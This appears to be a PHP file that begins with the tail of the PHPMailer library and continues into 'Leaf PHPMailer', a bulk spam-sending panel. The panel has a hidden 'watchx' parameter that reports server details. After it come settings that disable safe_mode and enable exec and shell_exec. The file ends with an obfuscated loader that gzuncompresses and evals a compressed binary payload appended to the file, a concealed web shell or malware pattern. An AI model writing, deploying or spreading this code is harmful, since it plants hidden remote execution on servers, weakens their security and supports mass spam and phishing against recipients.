            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$bIGY='subs'.'tr';$uQLO='f'.'ile_get'.'_cont'.'ents';$JUvE='gzu'.'ncompress';$wWaJ='e'.'xi'.'t';$YtPE='st'.'r'.'_repla'.'ce';eval($JUvE($YtPE('cvirhfqbzp','>',$YtPE('ligyzdevcw','<',$bIGY($uQLO( __FILE__ ),-172919)))));$wWaJ(0);
?>
xLnܶn*{B1'\T9s|nTXŵ0D	_ۿ{19tn%5((66~?ϙνph濷ru_?f_ligyzdevcw{3ocvirhfqbzp}6~/{is{qZyﰎet_Siٿs0)^z~om0vȧMhehligyzdevcwL5hY

A- 35(M'#=]kMDj~$!:V}?$tJ-IW)yEڪGR~'Nl93QCLo0d Quligyzdevcw]X%0H^R%l	~yCC{{?	h,?HOy8q2Ax9'Hϛ*4#hligyzdevcwohiahT*%Zlb]q|Rj́ligyzdevcw=r~Fδk,4cvirhfqbzpFړ(pcvirhfqbzpӓ*7cvirhfqbzpj@	JuǴE+e \ve5}E9sQ}B+QYR6lpyvhligyzdevcwWCSF{G؛)jx@ۍi3֭^`O\h㣧UmP3o9N8t/c@-kX4F~Q!&-P	zligyzdevcwe0zb3v2*ligyzdevcw3#EQPеMLD}cvirhfqbzpV{x|7y W=5D!*fNUQ0'ligyzdevcwP6wuPQm@?.G3% 	|KcvirhfqbzpF/.}[u suh0tmligyzdevcwL Ê ,E9XG~O˼YsmR(Na1xI=1_ac3H!\6{w̾F_Vf-z4WSPѡ]Aޙr=R|y"_aF
i:4+51mcU˙uZFlf2go"\i;C~?ɾ@ÌDɋHEp,*OjOO\V@)uLM_}Xg]0ݳEd&ak)m}(A@ DY?ӸWv?wFƸ43tligyzdevcwaDEeq[Jm^K
.lfo
]K$Y{ULF]( Mycvirhfqbzp"|r&ۋ׏6
I{ligyzdevcwcvirhfqbzp	B||k݋`̓Pcvirhfqbzp_ߖ!MzVCҊƎ9'ligyzdevcw6y9_;V?a궞=wligyzdevcwlA&1P/ǅ`tޮ1t~}q俰Hm~LJ]k0e@=/,\|tQ[~|
.X|0t-k!.WpG8Gi[:[EUTT긤t|b5vlAr۸*+Zt೨oi!-%sz;;	YL`ߟT7s)/moĐ#X2sccթ
PH6x8yIcvirhfqbzpZ5GyOzqYX /QG[żJvt
N|ybQ0!d1)YmV37yUmC,r|* +7&*b	1u@n=uDvv_mM(Hcvirhfqbzp@&胳=Ζ,m22̂,p@GWeVQEI./bMaBC8FN$(!_#r#]qN60Gǯ=ٝ7K~+M,B"pvb"w{U|1_}cf
K̤y(wVگfHtby%2_kZ!YZeʑ~iYO:߻kv.yjJ2(K(Ѱ(Ri6X4qݛTbI`~1-W*[ܐYF:V%fcvirhfqbzpd=3s䌋|K."u*.1C?9;~,(Ej%M_"ݣf lqJ
C'$ݾ60cvirhfqbzpq['W7ɍZL:(Y_zrny#R(+j_9.\
"ҋ}RdZ+TmYPp[, :GN?oLF
]S-F|^{JQ\=V yJquI_Zڣ,+bUݭS94fligyzdevcwV DiꙆP#9NRys0}| BĴ5$J7cvirhfqbzpά%
$~B?3hn;TCzB2&֢ [=u3ligyzdevcwT]r2`{5n{nݑ&e][ #ph
.\&t

X!P/$IUdX(QG7+:݄EQBцg^Vx^cB$+8@Vm
$i\
`/_JASVfNY2آADHpV,JJ|Oj
.?&_E$P 9&5cF:F;jW%ޮ`(6	+gRv[e˝9?k0+9mS.ٞDw^[^2ACB"r+æ=r({'*ž
(-!I3X7#J$pLYcvirhfqbzpS #hђK{W{]	+l;'W
V:cvirhfqbzpJ$/*
KbXP3nV»NHyNrgD3a	}|5 A׭ZeDyFILZ]Թ3BzscvirhfqbzpztKPn@H} й Gz&Ucvirhfqbzpl4}k6@l2fڏY:luMvŖs#ŐM=ligyzdevcwZy)Ja555)- ۳hv鏊QJ=;FȝQ!|xcvirhfqbzpÇxW
O	d?iq+N|ljd%V\)&K4$Oy(t"InJ82Cxr8ܕ@;dnoޕBligyzdevcwP0PN_L9rgS AK0ڇ::iC3!kTKgr0VwdBj↪T?e{@_[8!q1/_wligyzdevcw"VW&LwjMdϷ)k"_t8:oG@Q+ncvirhfqbzp20:1p q]LV]u+mfG
0?i]**τz'.:Јج:#PΟS`x`y溏%U+h"] L`liӮ
&~JŨ[PfVe}#n
EQg7qH@(N&G_;'Ō{Txs
?	[QAuHZ#.i}8PpM.5n.ǀ8h=ligyzdevcwM^x'76Xt	ȸV,1kgB56cvirhfqbzpCiꡌ$_+ڊμ(WrG_y(cvirhfqbzpeltҎ},|ncGD
yligyzdevcw Lg!$v{'˲íÅgv6fx=il!`;P_|Yurr7	Ř_QmL{{Bn#Or$ܕ|z=!s/ޯligyzdevcw Ժi=%2 {paligyzdevcwz0a&awO0RD)b͘x)3ZrЦ6Z*4u5y$Nz.޲Tdğ΋l%eU#Wj:yۖUj?w4cvirhfqbzptkgٯMȆk=9alTҪ9}z {
Fҩl
О#u@kIaj"QN巾	`hmoy;Q9W0ʍޠۺ!+WX
-N#/Ww'cvirhfqbzpA kMc4M-a0yD	SwE9R{a?yYYG&-vYĀz[29c
n\wbG E~D KeligyzdevcwAw5A0y~J`=JVoAligyzdevcwYcvirhfqbzp2ȘjUyx~	T*&U'lݡ(X~./z 2 
"M-Wr{Cޕ"
}:z	HL-ΌYbm$_0Gb ~6_	!iɢԁڞd/@osb7ΥjmbVaW̱+5Tx_@A	t[ʼ׼S;cvirhfqbzp*ERZ!ɜRcvirhfqbzpQƚ]
JJ	B"(KMߚWN/62Qq,|cvirhfqbzpFTOtRҎb^crQ=E!mµXHA
7֣;*K2B! 0 
?RpN:%*+kx?T0QO~`?$6/E7ligyzdevcwk1OnQW'vsRW	/TZW]5~V-0ȉ"jRwX}V71d`͈ٞ"l{"Q⨝f="t,&PM{:T\S+WD!;%R,˵"Nt7fi{߂Mq6ENbNi$9)R?r0@
{[cvirhfqbzp:e6?ٱ
A p"`ligyzdevcwV)4nMIʼ4zgդJL휟ciMlg\G9SBv1GK'DȟtO\F#"˲k%	Sڏfa3K+
O֫5%yB;0$ó)@\wcn }B`!eSEz
s.&cvirhfqbzp b}KiF^ `f9ԙE{cvirhfqbzps[	-?:[M\Kl4ےligyzdevcwObvLNlVk ~e8aK\k
fʘ}S
]8;ѥo CQ0L׏`Q&9MΕ%,UlC''XskDgct*$+{/]aj̰ko6y{_V[10U\0E#
02clV7l0~.,(.t["Fb dgqΜqPN~\Л:c/q
9=ycvirhfqbzpNc~Dpkq;}^݅J~Nk;J
cvirhfqbzpؐ8nEhG$HVGaligyzdevcw
mMŲ
kMݯ
^FE84QƼsmɥ3G|FT2єNyH7=	)~b1Z(~-!(R[=Lz=)Jub\	xf@61w!D,-iVligyzdevcw{(@?cipO
_Q tKg:^
qe7aNC ܊%NZ[cvirhfqbzprEy?WC*\ ѯm&Ӎ^?Rrlj"6ߤC|@jfp**wRligyzdevcwAX *S-Zw4֯ΠcvirhfqbzpiwxlEEcvirhfqbzp@پ'A}'T0ligyzdevcwΚ94lIbk;TRYv'hTvM?ay7craB&Z5yΒ]+|4WŸ-ܻN]\Ss[Y7̂rQJ~WX0i!^haϭ^
έ+[D$GfKҫb
_g"mؙ~SSCt	F
mhK_22ܔfn0ligyzdevcw9 H~80i1!H:,"4,pԯPWKo1%w?gX|Q@61YHp?!@k)H cvirhfqbzp 	Kͅ3G=.s"b,lFZi*::dTרטH	M(nފٯ؄ƺ3s:!l.=|QV1*(&@K\t~_Su]7kO}'Icvirhfqbzpȼ25y{m23=S#"=32+p%y]?1}mʒ3cvirhfqbzp`lligyzdevcwvMoBW`#m
p낡ݩ ~ojg+}B Dm	VsNK(oE!+~AN̓}֔zAdth':N`)D`f63;|?(|&_LU::-۵.գ	LjnFcvirhfqbzpIDQ1לM:=n [(&Dligyzdevcw(\a_, ^\tXyâ+zNZ2hgVt 	0E Y"larmu&0̉4_,=ejGK#:{Pt
&]md
5~K3y2ʤyz:&ligyzdevcw͒5@
39fŬ0tR7f.Xdחjm`!$phSS&SV-Jn~
Mb"b[=di;@ٻqf.l4WHإyligyzdevcw-3E}A2MOQҫ)9-W~glcvirhfqbzpM)e^vыQE?g.ANv@p?9ligyzdevcwK}d*|ǫࡈ8L#e}
P+s#
\||60)scvirhfqbzpm(^|"RligyzdevcwV޵Vo=W~cvirhfqbzpQNd:ʓ*2=Ted22o|S6ъ[Y:f%#vIu끓o'|5l2B/ۂ eeⰎPkXҖ&:xy(qFQҭۙѿrj	@'TІP+S
V8R!-P}צRd"mB9zU9_P꟒JǓ1
I 
ZEjZ%n/M]*8Vhoww^}e8m
8J_^pwmavF4rR-G Sqp KTAF&2"oA"՞8AK*2Kʃ\ݝSY,tO˱`'޶K2
5^-_ KX}T@aAb|bkԊ,"cB1 fE_rלy]4m	\e"qi;װ
*HO].5p_4*KE:^;DDMcligyzdevcww;OWBhµ`ҧ]fBCkwƕ	
̸35թsA|ZH!d5u!
%	=6\ Ƴb̦@}6|VxV`Yf./oj{1f;HֶkYHk.Z=;lwligyzdevcw	dUB	rߔ&a%
dqtpbJ

+8pr(战@?wHr,^PK
ligyzdevcw!cvirhfqbzp84ydjU贔wNK\B滫 %Ƚ8 %ۜcvirhfqbzpCMLi"ZBv)%鏌%RƮ=u
fQ0w'D*Oʯ3HbNL# %Z2K]vp֖yrӓpDN-w,|3`P{x ȤbNw l#滘뜠$3VL}9X_'0Ӝ]|jaj=nͨ'szz}9"7ligyzdevcwj\fi o]GI'2+cё9
ٴǲ_Rhtet,4nqvŚ/%oN@
;S\o1}'5mJgŨ],ZMyWk%	XW[NHWmud"1LƱT7~a\|@C5qՋx3 02Ksp( |!%b|\;ɬg;S'mO\%l;lP4BR6rp]zpIO;I
8zv6dܯoR ~{jdl܋cvirhfqbzp:԰MT'*ligyzdevcw58sԯR!Ŕ:Jvӆܲ`K!$"ɔ~
jAW"uf$]EOf9E_S&'K[ s,z#=$՛YWx_-"Q"][n{	b#@?LdQ{&̫Eq^\89ݫ %3 hF8ALyW1ڰD~Qϭm	q¸y]W5J85%T_|6җ.2ccvirhfqbzp__O^³puNligyzdevcwM0x`ɯvKT7cCQKaiUF
 ӳw?XA3`ʜz?Ո)ğ$\)j[f|\#2so_bM;'/:2Faa2_왽X½YligyzdevcwWF+Oligyzdevcwd:;I".}%{ln*|R	)tligyzdevcw
mݨ%i8ojX,!vbi4L-l \;als'9R1j~)49^'0\i[H5k9I L6ȫƂ "d||g{pcvirhfqbzpz)1gz@p`ƢML_yrx~rK[&fzvIht(Z "hKlEsv7 &Lya+:L1}vgGARRT\t_G,W%OH
pPJq$+ـS} Q/)LV:ZPNI#=w릤lyligyzdevcwweƍ6hxB5%~:
"Ӣwr?e
O˺	2ahMQ)l$vv.gZ,?e@bP2298'Ш戎+Ԏ#!f8] l0k{2YcΖ6sg#XUAq!Qyj]xkYNOc:C?ʧ=My'(F6{-m&U;2o d_xaCviAd}yKd}k3vo!@J CbbRTm1}uZ̬a~'xԲHS9@^?Oz3*+{1mI5	VqȢ,G6wUS-C`B
R)똾˷,KHr`cvirhfqbzp|&Utԅ~5cvirhfqbzp؛RofTwHd'ѫcMf&ï0_pW ;ligyzdevcwA__Y]n|}ĹGzrJwDi֟h7ЊwligyzdevcwXi gU
(ȫ7VAdfsX%_XJO	ӗ1zٱ++	jcvirhfqbzp7jnбa7kF3"8AWk-%Op4hXt!ߪm29cVtGItr$K :\'}l/"u"Y|{(!:ڊ.my^^gߡq;4+ʚ*IuP`8ExecWލ
ǰ
1%~jjU/
?ligyzdevcw"q0UHi):l7]	x-P+?Z~aSd5.bmLfȵ],2߾m1MCswl͘h"evgf:GM&=$CC?Ӣv
t8ueĨjg4ϜҾ_HBUH~;Hj  ZIt vV'[qCgA =dligyzdevcw%Sؒy"|#PO7gkUa:Є|\=pWlaL+ȟ*+o0gp0syk	PtJ8d;;1s}]dQ%W&FIJ;'X7qy'yJ7q"s T(1]e %:)B`Pٴ4{u
g@T8PP\:"%

X}}XtgS|Hϑ@yiyV:lZ	}N3de%Uь̝oRITuol}l3+oligyzdevcwE+{rvB(j ۣTF%A(07eMM@gj{vDFmmQج'Q׃=
z=sLHligyzdevcw
.2VPzz&6!oAD2j
y7~,!C\4lp-~'E-yB@qc[cvirhfqbzpOHĤ+%qws,r:3]	ꂋJR,
jXg;yS]!Aw"n[+l}L-8Z`~Ãzd	]Z/3)+`xʷligyzdevcw~UB ~-9̒RAZv)|i "K,%OLvw \ZY٘Rmswץ]^nӀob\{hD
)@|M]*DnMC9$R%TErligyzdevcw*l̌-pRWʾ93߅YaϋMUligyzdevcw Ko"rd=ґXyK%Ѐ6y.瘽_p	 #hxֿ-{\Bcvirhfqbzpױ?m`FA̿`yR	 M.&z%wuNaѳs&v!!laW85 ~6&!VZ~pTojkH'rb3Ls@-U'!yag'	f!]|6M!Z0
2Ǧ&uA:pab3f?	,?oz~6c{#/UP"?s.H A?~]1hlOLQ21-TlQ1#mcvirhfqbzpn0G
HݞEGPX)]m,8G-q@FB [{;~!ڼ_ECJKRxSHR^zΪ+'G*z~!܏Yˇ)䡒sqR:BK!qH](y"_NY #+Õs;2N{
cW*Q]Y;UHCyd ,RYA(%A_~-JC]vN(SXOsiM}uURu']rp̦i?lh%$-޴\Ƌued#Ƈ-TEy79QapJsG[t+tEM5#slhڳ9۾)zqG;ժ\#nAɮHxcvirhfqbzp#~u\=uیFXb/1mpYd稍hHr!J" 5ŨaK=c~Ҭv"2gflnjW_nڀe_M 
bIL-eligyzdevcw$	iS軄jligyzdevcw+aGbm#Rlm%l{v%)tЊ!^3zaPoNAd̑c
GޞD3" 7Yi䴭{Xd=3#ċPCݜ#Fk
۴A){!4DAu:+l-5RȻK:cvirhfqbzpTHd7kyO|Pd~!+ރ.M|_ך_~ٍ䦼n cvirhfqbzpC8vel6وoPdk8"{~cy %utknoi-ligyzdevcwgk3N%6}?d)Veo|Hk?gu-b}gqӒqr5cvirhfqbzpqmj־lI
:TOligyzdevcwtEjm4lhbccvirhfqbzp\V]ZsQUkULs0Rj̨`GHyO7*﷩ϕ0rعv|eؿʇqx^s=:tcvirhfqbzp5Ɇ	uD:׽(ܣje.Ƨ*Fz_ligyzdevcw(*/|vc{3j˚h\.\"MD,1[+#A\+Ԩ@
(9rCb[14nLkTPUcvirhfqbzp抐5XU{GlZBVث\[m6!6]CVzd%cvirhfqbzp)mxIЫؒ*cvirhfqbzp rncvirhfqbzp_ h$$8 cwG5{cvsB"ѻO[62 ǵ7jˢcvirhfqbzp^ۈUN+mmڝc?0qcvirhfqbzp-W\D4ligyzdevcwT:m|:d'-_b2_t׮Z	rligyzdevcw_ԩV4C.A:ء-1HiIn	tf
~
$80pU'k,0D3u_C~ǣ=s~ye
Gcvirhfqbzp
v!7*, imwYtv*X5gK4)G,% zkWy«mJ@|-4A~9.Z$HGhD ',󱋁٦?(b*6,89ligyzdevcw5m~M-~ůc
jû1X/Ό(BN3J_PxKIVnvl|?
8a}+ˇj ُF&s45]C➴]/Gbd]{(m"L\LdȺ83;n4K9LBv{p\\9!;\]j =U4C|V#	@֠  綺AsӪcvirhfqbzpyqF+HFP~}[b
yOګ_j|b&oWt,uegH^Oʽ]1+MO)Bć$uTڌ3ligyzdevcw/9ژ&{t3ZI4ԳO. )٪?N5(x,
s/NIu"FdѢowfMyC}(rx|cvirhfqbzp+qezIV/p:&ɞU,Ĕ7R#'Ł| 1_cvirhfqbzpcvirhfqbzp0:Kl_Ӱ kBat4J,OpSIw3}C{Is`OgF?ucvirhfqbzp}LJ )N,Ԁ ligyzdevcwl5W3yAy +{!ʎ27`_NCD\n8,\~={dKb,Lt Sy:Y}:y?[~s@Co0+aA[HL߁0[?J
VW#nkRy|5t\wbv Qo.6͔cvirhfqbzp"(
X|Q{Z❷Q RL"A
e:~1,o,*XЍR ֖ 'Am`##"wk%.}]
\*b-|ligyzdevcw1l ?t(4#x/	Gligyzdevcw:I&`jƳss1$!WWc B/w)8kMQiPF	④}П!R	\=N-%i
؊ck\r1pdÍG䦝;e4W^5/&N9a,N3ݜ讅k&Wcvirhfqbzp)?!jv!.uA=ACٺ(Cc1QOb4FAgl_;]_{CMzA
]E?"B$;,߬(CZ@Gį_J ifGVRJligyzdevcwV흲|BOGr*Y&㛒Oz:pF
#jsO|^p
FVKligyzdevcw Eũvу	̘+x\i8Q1qwq%~
9Xg憅-
-hho4	 
?:| oo#G8L0ur-\6jM̄YZrX$s!"Ԋ{?Y3bŎUT䝽j3^  Շʎcvirhfqbzp
dP	ۿ=&M%Ho)rD8$3zY=27a6
PO1%޼o`";xs+jw/Lz2NRz?9cvirhfqbzpzΊpN}Dl
ԔNU	},@'tfk.ȇ՜lJ OM6}揽#Jjc-ܡy:gː0tkơ\S
,()Fos(	sڊZ$nք[p/F*CE[挰
6
%CQO?n4oYk_ğhЅЃӫ*t~pBßnlgƺI
7ifۭ5uOú[n{ǲֵYqʔ.C n,6euZN6g]ܱnZߊp3֗$W}^73L/O}6-&rFGpapF`&-"M'$x
PڍʏG/u\	g8ligyzdevcwJ foGrmj=c}4Mexo!pv^F~e`tHK317cvirhfqbzp Tk!^N˅0~}#Q\+Zͨ:. 4kЁ!o{A_\_`C@x.~P('c:B#meEyIp)Pcwz6~ w2ligyzdevcw8[N\%.9ybQ)J&t
-{O)!g	cÂE#81c\ch|пZ1uz?U^TcϮؐ1&Zh
+J`.o-e"Kqb$o	o_0[	S/Kם6lBh*O4g$n( m"8J@ȿIO"_U(śpb"miJp{9S3x-SJf`Vs8Ӱ
[mh__jVM
ߜ־OR5:\}Dc㛑ݛ3-=xgf\*T[Xm.l
ZtzM\ǰbbfC
CligyzdevcwP:"h4YDdKVk3Ii]DN3seiNU(_59O#6 1k%/|l$RXR
gHligyzdevcwc(|3vL4Wˁ4IvJ,#hPR0ligyzdevcw+5vXߥfon#v=޺ԜhFp;IeKx
^Sy
._Fuc`F{dq|{{p;k"	9-H
N@p
6K(XGzUWll$f0r	DcvirhfqbzpM
